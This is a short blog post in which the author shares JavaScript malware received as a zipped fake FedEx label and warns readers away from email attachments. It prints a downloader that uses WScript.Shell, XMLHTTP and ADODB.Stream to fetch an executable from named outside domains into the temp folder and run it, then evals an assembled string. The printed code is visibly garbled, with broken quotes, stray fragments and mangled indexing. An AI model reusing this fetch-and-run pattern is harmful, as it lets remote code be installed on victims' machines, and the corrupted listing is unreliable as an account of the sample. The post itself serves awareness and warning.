Another package of Javascript malware

I wish I were a javascript programmer.

Here’s the code that came to me via email in a .zip file, under the malicious guise of a FedEx delivery label (it was packaged to look like the code you see in my previous post.)

var stroke=”5556515E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;

function cwm() { return ‘e'; };

function xn() { return ‘val'; };

function dl(fr) { var b = “dickinsonwrestlingclub.com etqy.com soflectplit(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shell”); var fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er)) { return ‘.c {}; if (dn == 1) break; } }; dl(7) { return ‘om”.s971); dl(6202′; };  var xv = ”; ); dl(613);

for (var rlh=1; rlh<=225; rlh++) { xv += this[‘xn’+rlh](); } this[cwm()+xn()](xv);

The code goes out to these websites and downloads other files, and then runs them. What will happen to your computer next is anyone’s guess. That’s why I wish I knew javascript better, so I could determine exactly what was being downloaded and what it is supposed to do.

Whatever the case, stay away from attachments in your email.
